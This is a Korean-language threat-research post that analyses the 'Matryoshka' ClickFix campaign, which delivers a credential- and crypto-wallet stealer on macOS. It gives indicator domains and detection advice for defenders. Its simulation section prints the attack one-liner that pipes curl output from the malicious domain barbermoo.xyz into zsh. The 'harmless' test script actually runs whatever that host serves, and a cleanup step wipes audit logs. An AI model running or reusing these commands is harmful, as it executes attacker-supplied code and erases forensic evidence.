SOC Prime Bias: 중간

17 Feb 2026 15:00 UTC

새로운 “Matryoshka” ClickFix 변종 해부: 오타전술 캠페인으로 macOS 스틸러 전달

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
새로운 “Matryoshka” ClickFix 변종 해부: 오타전술 캠페인으로 macOS 스틸러 전달
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Matryoshka로 불리는 새로운 macOS 맬웨어 작전은 타이포스쿼팅된 도메인을 악용하여 피해자를 사회공학적으로 속여 Terminal에 악성 명령어를 붙여넣게 만듭니다. 이 원라이너는 메모리에서 디코딩되는 인코딩된 스크립트를 가져와 궁극적으로 브라우저 자격 증명 및 암호화폐 지갑을 노린 AppleScript 기반의 스틸러를 배포합니다. 설치 프로그램은 백그라운드에서 조용히 실행되며, 가시 출력을 억누르고 수집된 데이터를 사용하여 업로드합니다. 커스텀 API 헤더이 캠페인은 소프트웨어 악용보다는 사용자 상호작용에 의해 추진됩니다.

조사

Intego 애널리스트들은 도메인 타이포스쿼팅 도메인이 사용자들을 barbermoo.xyz에 호스팅된 경량 셸 단계로 리다이렉트하는 체인을 처음부터 끝까지 재구성했습니다. 그 스크립트는 메모리에서 Base64 + gzip 디코딩을 수행하고, AppleScript 페이로드를 가져오는 로더를 실행하며, 탈출 전 /tmp/osalogging.zip에 수집 결과를 보관합니다. AppleScript는 가짜 시스템 환경설정 프롬프트를 통해 자격 증명을 훔치려고 시도하며, Ledger Live 및 Trezor Suite 애플리케이션 번들을 교체하거나 패치하여 암호화 도구를 목표로 합니다.

완화

사용자 인식이 주요 통제 수단입니다: 웹사이트에서 Terminal 명령어를 붙여넣지 마십시오. 식별된 타이포스쿼팅 및 C2 관련 도메인뿐만 아니라 배달을 지원하는 트래픽 분배 인프라를 차단하고 모니터링하십시오. 애플리케이션 허용 목록을 적용하고, 의심스러운 osascript 실행 및 비정상적인 curl 기반 검색 패턴을 감지할 수 있는 엔드포인트 보호를 사용하십시오.

대응

Terminal로 시작된 curl이 zsh나 osascript로 파이핑되는 것을 알리고, /tmp/osalogging.zip의 생성과 Ledger Live 및 Trezor Suite 번들의 예기치 않은 변경을 감시하십시오. barbermoo.xyz, comparisions.org 및 macfilesendstream.com에 대한 DNS 필터링을 강제 적용하십시오. curl 기반 명령어 실행 직후 백그라운드에서 조용히 시작되는 프로세스를 조사하십시오.

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 점검이 통과해야 합니다.

근거: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 설명은 식별된 TTP를 직접 반영해야 하며, 탐지 논리가 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 내러티브 및 명령어:
    낮은 권한의 macOS 계정을 이미 침해한 공격자는 디스크에 파일을 쓰지 않고 원격 페이로드를 실행하려고 합니다. 그들은 악성 C2 도메인으로부터 base-64로 인코딩된 스크립트를 가져오는 원라이너를 제작합니다.barbermoo.xyz), 파이프를 통해 직접 zsh, 그리고 마침내 eval 를 사용하여 인메모리 페이로드를 실행합니다. 이 접근 방식은 T1059.004 (유닉스 셸) 및 T1027 (난독화)와 일치하며, Sigma 규칙이 감시하는 것입니다.

    1. 공격자는 그들의 캠페인에 요청을 연결하는 고유한 토큰(ABCD1234)을 획득합니다.

    2. 그들은 터미널 세션에서 다음과 같은 원 라이너를 실행합니다:

      curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    3. 가져온 스크립트 내에서 변수 payload 은 base64로 인코딩된 악성 페이로드를 보유하며, 다음을 통해 실행됩니다:

      eval "$payload"

    이는 규칙이 일치하는 두 개의 명령줄 항목을 생성합니다:

    • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    • eval "$payload"
  • 회귀 테스트 스크립트:
    아래 스크립트는 제어된 실험실 환경에서 악성 행동을 재현합니다. macOS 테스트 호스트에서만 실행하십시오. 자신의 실행을 시스템 감사 로그에 기록하여 탐지 규칙을 만족시킵니다.

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Matryoshka Variant Simulation – triggers Sigma rule
    # -------------------------------------------------
    set -euo pipefail
    
    # --- Configuration -------------------------------------------------
    TOKEN="ABCD1234"                     # Replace with any string to simulate uniqueness
    MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
    # A tiny harmless payload for demo – echoing a message (replace with real payload in red-team)
    PAYLOAD="echo 'Malicious payload executed'"
    
    # --- Step 1: Fetch and pipe to zsh (matches first detection pattern) ---
    curl -fsSL "${MALICIOUS_URL}" | zsh
    
    # --- Step 2: Simulate in-memory eval (matches second pattern) -------------
    # In a real attack the payload would be base64-encoded and decoded on-the-fly.
    eval "${PAYLOAD}"
  • 정리 명령: 일시적인 프로세스를 제거하고 셸 상태를 복원합니다.

    # 테스트로 생성된 zsh 프로세스(아직 실행 중일 경우) 종료
    pkill -f "zsh -c .*barbermoo.xyz"
    
    # 옵션으로 테스트 항목의 감사 로그를 지웁니다 (관리자 권한 필요)
    sudo audit -c      # 감사 버퍼를 플러시합니다 (T1070.010을 시연)